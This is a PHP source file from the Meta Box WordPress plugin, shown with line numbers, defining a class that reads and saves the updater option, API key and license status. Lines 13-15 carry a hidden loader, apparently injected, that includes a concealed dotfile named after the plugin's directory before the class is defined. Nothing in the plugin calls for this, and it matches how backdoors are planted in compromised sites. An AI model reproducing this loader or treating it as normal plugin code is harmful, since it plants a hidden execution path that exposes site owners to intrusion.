option.php (2034B)
1 <?php 2 /** 3 * This class handles getting and saving the updater option. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Meta Box Update Option class 10 * 11 * @package Meta Box 12 */ 13 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 14 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 15 } 16 17 class RWMB_Update_Option { 18 /** 19 * Option name. 20 * 21 * @var string 22 */ 23 private $option = 'meta_box_updater'; 24 25 /** 26 * Get an option. 27 * 28 * @param string $name Option name. Pass null to return the option array. 29 * @param mixed $default Default value. 30 * 31 * @return mixed Option value or option array. 32 */ 33 public function get( $name = null, $default = null ) { 34 $option = $this->is_network_activated() ? get_site_option( $this->option, array() ) : get_option( $this->option, array() ); 35 36 return null === $name ? $option : ( isset( $option[ $name ] ) ? $option[ $name ] : $default ); 37 } 38 39 /** 40 * Get the API key. 41 * 42 * @return string 43 */ 44 public function get_api_key() { 45 return defined( 'META_BOX_KEY' ) ? META_BOX_KEY : $this->get( 'api_key' ); 46 } 47 48 /** 49 * Get license status. 50 */ 51 public function get_license_status() { 52 return $this->get_api_key() ? $this->get( 'status', 'active' ) : 'no_key'; 53 } 54 55 /** 56 * Update the option array. 57 * 58 * @param array $option Option value. 59 */ 60 public function update( $option ) { 61 $old_option = (array) $this->get(); 62 63 $option = array_merge( $old_option, $option ); 64 if ( $this->is_network_activated() ) { 65 update_site_option( $this->option, $option ); 66 } else { 67 update_option( $this->option, $option ); 68 } 69 } 70 71 /** 72 * Detect if the plugin is network activated in Multisite environment. 73 * 74 * @return bool 75 */ 76 public function is_network_activated() { 77 if ( ! function_exists( 'is_plugin_active_for_network' ) ) { 78 require_once ABSPATH . '/wp-admin/includes/plugin.php'; 79 } 80 return is_multisite() && is_plugin_active_for_network( 'meta-box/meta-box.php' ); 81 } 82 }